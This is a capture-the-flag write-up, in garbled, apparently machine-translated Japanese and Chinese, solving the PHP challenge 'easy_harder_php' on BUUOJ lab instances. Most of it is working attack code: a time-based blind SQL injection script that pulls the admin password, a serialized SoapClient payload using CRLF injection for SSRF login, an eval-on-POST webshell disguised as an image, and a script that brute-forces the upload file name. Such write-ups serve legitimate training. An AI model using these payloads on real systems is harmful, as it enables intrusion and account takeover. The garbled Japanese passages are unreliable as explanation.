0x01のトピックはじめに
ソースコードのディレクトリを取得スキャン
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
私たちは、ログインが管理者パスワードを取得するために注入点を見つけるよう、機能をアップロードする必要があります管理しなければならない
、我々はからアカウントのパスワードを取得するためにここに注入して、何のフィルタがデータベースに挿入されていない$ _POST [「署名」]を
すべてここに反引号
変換された单引号
ので、私達の
ペイロード:
# encoding=utf-8
import requests
import string
import time
url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
パスワードのMD5コードを取得注入し、復号化された
アカウントのパスワードはadmin、nu1ladminです
彼は127.0.0.1で記号でなければならない制限するので、しかし、我々は、このログインを使用することはできません
我々は管理者をログに記録するSSRF見つけなければならないので、
ここではデシリアライズされ、および$row[2]
データmood
注入の上を参照してください、私たちのコントロール~~
私たちができるようmood
に順番に挿入しsoap
たクラス、そしてssrf
、ここでの処理についての簡単な話では、理解容易にするためです
まず、我々は中に、2つのブラウザ、各ページに1つずつ、最初にログインしていない、我々はあなたのアカウントに別の非管理ログを登録するために使用のいずれかを開き、publish
ページの挿入配列soap
クラス。
ここでは、構成コード石鹸を与えられました
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这儿需要注意两个地方,第一个地方是$post_string
中的code参数和PHPSESSID
必须和我们另外一个浏览器准备用来登录的admin相对应~~
然后注入即可
这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index
的页面,才能触发~~
此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为
$mood = unserialize($row[2]);
$country = $mood->getcountry();
我们知道此时$mood
就是一个soap类,所以这个类没有getcountry()
方法,此时就会触发soap类的__call()
魔法函数就能实现登录了~~
然后我们就能看到上传文件的页面了~~
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
- 首先是只能上传图片,而且上传的文件不能有
<?php
, 这儿可以用<?=
和<script language='php'>
代替 - 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
-
这儿就需要用到linux的一个小trick了,当我们的文件名是以-
开头时这个命令会报错~~
所以我们的思路就是上传一个以-
开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~
<?php
date_default_timezone_set("PRC"); ###一定要注意设置这个时区
echo time();
?>
最后我们再写一个脚本爆破一下~~
# -*- coding:utf-8 -*-
import requests
time = 158002449200 #我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
print(i)
if html == 200:
print(ul)
break
这儿说明一下我上传的图片马~
<script language="php">
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
</script>
由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"["
,和"]"
代替,这样就不会被过滤掉了~
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
这道题目还有几个非预期解,但是复现的时候,已经修复好了~~
但是这儿也记录一下~~
1、抜け穴を含むようにリードを回すsession.upload
2、xdebugの
X-転送先のアドレス(これは:ricterz.me)場合9000ポート接続要求を受信するには、Xdebugをを決定することができる開かれ、そしてxdebug.remote_connect_backを開きました。
3、を/ tmp /一時ファイルの競争
競争の一時ファイルを使用するには、前提は、ページのphpinfoにアクセスすることが可能です~~
参考リンク:
N1CTF easy_harder_php予想ソリューション
N1CTF easy_harder_phpソリューションは、意図しない
公式過去記事を